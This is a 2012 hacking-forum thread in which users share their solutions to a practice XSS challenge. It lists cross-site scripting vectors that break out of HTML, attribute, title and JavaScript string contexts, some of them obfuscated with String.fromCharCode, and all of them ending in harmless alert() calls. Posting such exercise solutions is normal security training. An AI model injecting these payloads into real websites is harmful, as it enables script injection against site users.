HackCommunity XSS challenge - Printable Version

HackCommunity XSS challenge - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Website & Server Hacking (https://sinister.ly/Forum-Website-Server-Hacking)
+--- Thread: HackCommunity XSS challenge (/Thread-HackCommunity-XSS-challenge)

Pages: 1 2 3 4 5

RE: HackCommunity XSS challenge - 1llusion - 10-23-2012

(10-23-2012, 02:36 PM)StormHasHe Wrote: Hello!

Im new to this forum, i've solved the challenges 1 to 4, but im kinda stuck at 5. Any insigths?

Edit:

solved =)

Challenge no.: 5

Spoiler:

Vector: %3cscript%3ealert('xss by StormHasHe');%3c/script%3e

It worked on firefox, but not in chrome, no idea why, can someone explain it to me?

I'll add you to solvers in a min Smile

Chrome has pretty much strong protection against XSS so it won't work in it.

RE: HackCommunity XSS challenge - StormHasHe - 10-23-2012

Cool =)

I'm working on 6 right now.

Edit:

6 solved =)

Challenge no.: 6

Spoiler:

Vector:
\');alert(String.fromCharCode(120, 115, 115, 32, 98, 121, 32, 83, 116, 111, 114, 109, 72, 97, 115, 72, 101))<!--

This one worked both on Firefox and Chrome =)

RE: HackCommunity XSS challenge - 1llusion - 10-23-2012

Congratz to the find Smile

/damn now I have char limit too =,=

RE: HackCommunity XSS challenge - StormHasHe - 10-23-2012

Hahahaha! xD

Working on 7 now, stuck at it again =/

edit1:

Solved 7! =D

Challenge no.: 7

Spoiler:

Vector: "/><script>alert('xss')</script><h1 class="hi
The vector was sent by the input name="cake", not the default input name="username"
the <h1> tag was just so i could end the html properly, else it woud display "> as pure text =)

edit2: I don't know if this is the right solution =/

RE: HackCommunity XSS challenge - Dawnc0re - 10-24-2012

My Love To XSS.
This is one of my actual hacks where im not using my skiddish skillz :3
Here are my solves:

Challenge no.:1

Spoiler:

Vector - <script>alert('XSS - Dawnc0re')</script>

Challenge no.:2

Spoiler:

Vector - <script>alert(String.fromCharCode(88, 83, 83, 32, 45, 32, 68, 97, 119, 110, 99, 48, 114, 101))</script>

Challenge no.:3

Spoiler:

Vector - </title><script>alert('XSS - Dawnc0re')</script>

Challenge no.:4

Spoiler:

Vector - ');alert("XSS - Dawnc0re");//

Thanks to Snipa for the 4th one, he gave me a hint Wink

RE: HackCommunity XSS challenge - StormHasHe - 10-25-2012

the 8º is hardcore... been working on it, no lucky yet

RE: HackCommunity XSS challenge - StormHasHe - 10-30-2012

Is my 7º the correct answer? I'm still not sure

RE: HackCommunity XSS challenge - soldi3r - 10-30-2012

Challenge page not opening. It's showing error 404 in all browsers.. Sad

RE: HackCommunity XSS challenge - bluedog.tar.gz - 10-30-2012

(10-30-2012, 07:34 PM)soldi3r Wrote: Challenge page not opening. It's showing error 404 in all browsers..

I deleted it because it got abused. It was a really nice challenge :/

Topic closed